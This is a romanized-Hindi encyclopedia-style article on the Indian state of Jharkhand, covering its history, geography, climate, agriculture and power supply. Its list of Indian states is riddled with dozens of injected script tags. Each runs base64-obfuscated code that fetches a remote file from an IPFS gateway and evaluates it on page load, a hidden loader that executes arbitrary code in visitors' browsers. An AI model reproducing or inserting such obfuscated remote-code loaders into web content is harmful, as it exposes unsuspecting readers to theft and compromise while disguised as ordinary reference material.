झारखण्ड

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jharakhand
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rajadhani	raanchi
rajabhasha(ean)	hindi bhasha, santhali bhasha, maithili bhasha, bhojapuri bhasha
sthapana	15 navanbar, 2000
janasankhya	3,29,88,134
· ghanatv	338 /varg kimi
kshetraphal	79,714 varg kimi
bhaugolik nirdeshaank	23° 35′ N ; 85° 33′ E
zile	24
sabase b da nagar	jamashedapur
mukhy paryatan sthal	jamashedapur, bokaro, raanchi, sahibaganj
liang anupat	1000:941 ♂/♀
saksharata	67.6%%
· stri	39.38%
· purush	69.74%
rajyapal	ramesh bais
mukhyamantri	hemant soren
bahari k diyaan	adhikarik vebasait
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jharakhand (aangrezi: Jharkhand) bharat ka ek pramukh rajy hai. jharakhand rajy mean bahut b di sankhya mean ghane van aur jha d-jhankar jaisi adhikaansh vanaspatiyaan paee jati haian, yahi karan hai ki rajy ka nam jharakhand p da hai. yah rajy chhota nagapur pathar par basa hua hai, jo ganga ke maidani bhag ke dakshin mean hai. 'jharakhand' ka shabdik arth hai- "van ka kshetr". mana jata hai ki jharakhand shabd ka prayog lagabhag char sau varsh pahale solahavian shatabdi mean hua. apane brihat aur mool arth mean 'jharakhand' purane bihar ke zyadatar dakshini hisse aur chhattisagadh, pashchim bangal aur u disa ke kuchh adivasi zile shamil haian. jharakhand mean bharat ki lagabhag nabbe pratishat anusoochit janajati ka nivas sthal hai. sanpoorn bharat mean vanoan ke anupat mean yah pradesh ek agrani rajy mana jata hai tatha vanyajivoan ke sanrakshan ke liye mashahoor hai.

itihas

15 nanvabar, 2000 ko bharat sangh ke 28vean rajy ke roop mean jharakhand rajy ka nirman hua. jharakhand adivasiyoan ki grihabhoomi hai. ek prachin katha se jnat hota ki u disa ke raja jayasianh dev ne terahavian shatabdi mean khud ko jharakhand ka shasak ghoshit kar apana shasan lagoo kar diya tha. jharakhand mean mukhy roop se chhota nagapur pathar aur santhal paragana ke van kshetr shamil haian. yahaan ki apani vishisht saanskritik paranparaean haian. svatantrata prapti ke bad 'jharakhand mukti morcha' ne niyamit aandolan kiya, jisake karan se sarakar ne 1995 mean 'jharakhand kshetr parishad' ki sthapana ki aur isake pashchath yah rajy poornat: astitv mean aya. baboolal maraandi jharakhand rajy ke pratham mukhyamantri the. inhoanne 2006 mean bharatiy janata parti ko chho dakar 'jharakhand vikas morcha' ki sthapana ki thi.

bhoogol

jharakhand 21°58'10" uttari akshaansh se 25°19'15" uttari akshaansh tatha 83°20'50" poorvi deshaantar 88°4'40" poorvi deshaantar ke madhy vistrit hai. jharakhand ka kul kshetraphal 79,714 varg kimi. jo bharat ke kul kshetraphal ka 2.4 pratishat hai. isamean 152 shahar evan 32,615 gaanv hai. prashasanik drishtikon se poore rajy ko paanch pramandaloan evan 24 ziloan mean vibhajit kiya gaya hai. jharakhand ke poorv mean pashchim bangal, pashchim mean uttar pradesh aur chhattisagadh, uttar mean bihar tatha dakshin mean u disa se ghira hua hai. is rajy ki lambaee (uttar se dakshin) 380 kimi. aur chau daee (poorv se pashchim) 463 kimi. hai. thumb|250px|left|jharakhand ka ek drishy

bhoo-akriti

jharakhand ka pramukh bhautik lakshan chhota nagapur pathar hai, jo patharoan, paha diyoan v ghatiyoan ki shrriankhala hai. yah lagabhag samooche rajy mean phaila hai aur adhikaanshatah sphatakiy (kristal) chattanoan se bana hai. hazaribag v raanchi, ye do mukhy pathar damodar nadi ke bhranshit aur koyala yukt avasadi besin se vibhajit haian. inaki ooanchaee ausatan lagabhag 610 mitar hai. pashchim mean 300 se adhik vichchhedit, lekin sapat shikhar vale pathar haian, jinaki ooanchaee lagabhag 914 mitar hai aur ye pat kahalate haian. jharakhand mean uchchatam biandu hazaribag sthit parasanath ki shankvakar grenait choti hai, jisaki ooanchaee 1,369 mitar hai. jain matavalanbi aur santhal janajati, donoan hi ise pavitr manate haian. damodar ghati mean mitti baluee hai, jabaki pathar ki mitti adhikaanshatah lal hai.

bhaugolik sthiti

jharakhand ke poorv mean pashchim bangal, pashchim mean uttar pradesh aur chhattisagadh, uttar mean bihar tatha dakshin mean u disa se ghira hua hai. audyogik nagari raanchi isaki rajadhani hai. is pradesh ke any b de shaharoan mean dhanabad, bokaro evan jamashedapur shamil haian. vartaman samay mean jharakhand rajy ke kul ziloan ki sankhya 24 hai.

jalavayu

jharakhand pradesh ushnakatibandhit kshetr mean sthit hai. jharakhand ki jalavayu samanyataah ushnakatibandhit hai kintu ooanche pathari bhag hone ke karan yahaan ki jalavayu ki sthiti as-pas se bhinn hai. yah kshetr m aaunasooni jalavayu ke aantargat ane vale pratyek mausam ke utar-chadhav ko jhelata hai. atah yahaan ki jalavayu 'ushn m aaunasooni' mani jati hai. jharakhand mean kark rekha netarahat, kisko, oramaanjhi, gola, murahulasudi, gopalapur, pokhanna, gosaanidih, jhalabarada, palakudari hote hue bangal ki or jati hai arthath yah rekha jharakhand ke thik bichoan-bich guzarati hai, zisake adhar par is garm jalavayu ka kshetr kaha jana chahie. kiantu jharakhand ki jalavayu mean paryapt ardrata payi jati hai, jisake karan yah ushnakatibandhiy jalavayu se kuchh bhinn prakar ki ban jati hai.

arthavyavastha

dekhean:bharat ek jhalak

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bihar <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> chhattisagadh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rashtriy rajadhani kshetr dilli <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> gova <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> gujarat <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> hariyana <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> himachal pradesh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jammoo aur kashmir <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jharakhand <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> karnatak <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> keral <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> madhy pradesh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> maharashtr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> manipur <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> meghalay <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> mizoram <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> nagalaiand <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> u disa <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> panjab <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rajasthan <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sikkim <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tamilanadu <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tripura <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> uttarakhand <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> uttar pradesh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> pashchim bangal <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aandaman evan nikobar dvipasamooh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> chanh‍digadh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dadara tatha nagar haveli <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> daman aur div <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> lakshadvip <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> puducheri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

krishi

jharakhand rajy ke 79,714 varg kimi kshetr mean se 18,423 varg kimi kshetr mean van haian. krishi aur krishi sambandhit gatividhiyaan jharakhand ki arthavyavastha ka mukhy adhar haian. krishi yogy bhoomi ka kshetraphal keval 38 lakh hekteyar hai.

sianchaee aur bijali

damodar, mayoorakshi, barakar, uttari koyel, dakshini koyel, sankh, suvarnarekha, kharakee aur ajay yahaan ki pramukh nadiyaan haian aur rajy ke jal ka pramukh srot hai. rajy mean kul buvaee ka kshetr 1.57 lakh hekteyar hai jisamean se 8 pratishat kshetr mean hi sianchaee ki suvidha upalabdh ho pati hai. jharakhand mean sthapit vidyut kshamata 2,590 megavat hai. jisake srot haian- 420 megavat (tenughat tap bijalighar) se, 840 megavat (pataratoo tap panabijalighar) se, 130 (sikkidri bijali pariyojana) se aur 1,200 megavat (damodar ghati nigam tap / panabijali pariyojana)se. tap v panabijali par adharit vibhinn bijaligharoan ki kshamata 4,736 megavat ki ja sakati hai jisamean 686 panabijali utpadan shamil hai.

udyog aur khanij

jharakhand ke kuchh bade udyog haian:

• sarvajanik kshetr ka bokaro stil plaant
